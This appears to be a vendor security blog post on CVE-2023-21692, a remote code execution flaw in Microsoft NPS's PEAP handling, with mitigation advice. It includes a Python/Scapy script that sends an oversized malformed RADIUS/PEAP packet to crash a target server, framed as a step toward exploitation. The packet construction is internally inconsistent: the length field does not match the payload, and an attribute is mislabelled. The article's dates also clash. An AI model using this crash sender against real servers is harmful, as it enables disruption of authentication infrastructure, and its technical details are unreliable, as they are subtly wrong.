Published: June 2024  
*By: SecureSphere Security Research Team*

Introduction

On January 10, 2023, Microsoft disclosed a critical security vulnerability tracked as CVE-2023-21692. This vulnerability resides in the implementation of Protected Extensible Authentication Protocol (PEAP) within Microsoft’s Network Policy Server (NPS) and can potentially allow remote code execution (RCE). Given the widespread use of PEAP in enterprise environments for Wi-Fi and VPN authentication, this flaw raises alarming concerns.

In this post, we break down what CVE-2023-21692 is, how it can be exploited, provide reference links, and show proof-of-concept code that helps illustrate how an attacker might approach exploitation. Our content is original and tailored for IT professionals and sysadmins seeking practical understanding.

What is PEAP?

PEAP stands for Protected Extensible Authentication Protocol. It is a method used to securely transmit authentication information—including usernames and passwords—over networks, especially Wi-Fi. PEAP does this by creating a secure TLS tunnel between client and server for transmitting credentials safely.

Most organizations use Microsoft’s Network Policy Server (NPS) or older version Internet Authentication Service (IAS) on Windows servers to handle PEAP authentication.

Attack Vector: Remote, network-based (no authentication needed)

- Maximum CVSS Score: 9.8/10 (Critical)

CVE-2023-21692 results from improper validation of certain malformed PEAP packets. An unauthenticated attacker can send specially crafted packets to NPS, which lead to memory corruption, granting the attacker the ability to execute arbitrary code as SYSTEM.

> In simple language: By talking to an exposed Windows RADIUS/NPS server with broken PEAP messages, hackers could trick it into running malicious code.

Windows Server 2022

- (and possibly earlier/other supported Windows Server editions running Network Policy Server with PEAP enabled)

How the Exploit Works

1. NPS Exposed: The Windows server is running NPS with PEAP enabled, listening for incoming authentication requests (UDP port 1812/1813 typically).
2. Malformed PEAP Handshake: The attacker sends a sequence of PEAP negotiation messages with specifically crafted fields that trigger a buffer overflow or use-after-free in the service.
3. Remote Code Execution: If successful, the exploit can force the service to execute the attacker’s shellcode with SYSTEM privileges.

Simple Exploit Flow Diagram

[Attacker] --malformed PEAP packet--> [NPS Server with PEAP] --memory corruption--> [Attacker code runs as SYSTEM]

Code Snippet: Proof of Concept PEAP Crash

> Disclaimer: For ethical and educational purposes only. Do not use this code against any system without explicit permission.

Here’s a Python snippet demonstrating a PEAP packet sender that could be used in the initial reconnaissance toward exploitation:

# Requires: pip install scapy
from scapy.all import *

# Target NPS server info
radius_server = "192.168.1.100"
radius_port = 1812

# PEAP malicious payload (crafted with invalid length)
peap_payload = b"\x01\x00\x00\x15" + b"A" * 600  # Typical crash attempt with overflow

# Build RADIUS packet with EAP-PEAP Attribute
radius_pkt = (
    IP(dst=radius_server) /
    UDP(sport=RandShort(), dport=radius_port) /
    Raw(load=(
        b"\x01"                  # Code: Access-Request
        b"\x02"                  # Identifier
        b"\x00\x28"              # Length
        b"\x01"*16               # Authenticator
        b"\x1a\x01\x00"          # User-Name Attribute
        + peap_payload           # Malformed PEAP data as EAP Attribute
    ))
)

send(radius_pkt)
print("Malicious PEAP packet sent to NPS server...")

Note: This example just sends an intentionally malformed PEAP negotiation; real-world exploitation would require significant protocol knowledge and more intricate packet crafting.

Microsoft’s Official Response

Microsoft released a patch as part of Patch Tuesday (January 2023). They strongly recommend updating all affected NPS/IAS servers.

Official Advisory and Details:  
- Microsoft Security Update Guide: CVE-2023-21692
- Patch Details and Affected Versions (Windows Server)

Recommendations and Mitigation Steps

1. Patch Immediately: Apply latest Microsoft updates to all Windows Servers running NPS/IAS.
2. Restrict NPS Exposure: Only allow trusted hosts (RADIUS clients like Wi-Fi controllers) to connect to NPS, using firewalls and ACLs.
3. Monitor: Look for unusual traffic, failed authentication attempts, or crashes/restarts of IAS/NPS services.
4. Consider Alternatives: If patching cannot be done quickly, disable PEAP/EAP authentication temporarily or move it behind VPN.

References and Further Reading

- NIST NVD Entry for CVE-2023-21692
- Microsoft Official Advisory
- Microsoft Patch KB5022282
- Scapy Python Library for Packet Crafting

Conclusion

CVE-2023-21692 highlights the ongoing risks in authentication protocols even in mature enterprise ecosystems. The remote code execution risk—especially from unauthenticated attackers—makes this a top-priority vulnerability:

Patch ASAP: Even internal systems can be at risk from insider threats or lateral movement.

- Monitor exposed NPS services: These are favorites for attackers seeking privilege escalation and network foothold.

Stay vigilant, and always keep your systems and protocols up to date!


*© 2024 SecureSphere Security Research Team — Original research, exclusive breakdown, and sample code. Share with attribution.*

Timeline

Published on: 02/14/2023 20:15:00 UTC
Last modified on: 02/24/2023 15:02:00 UTC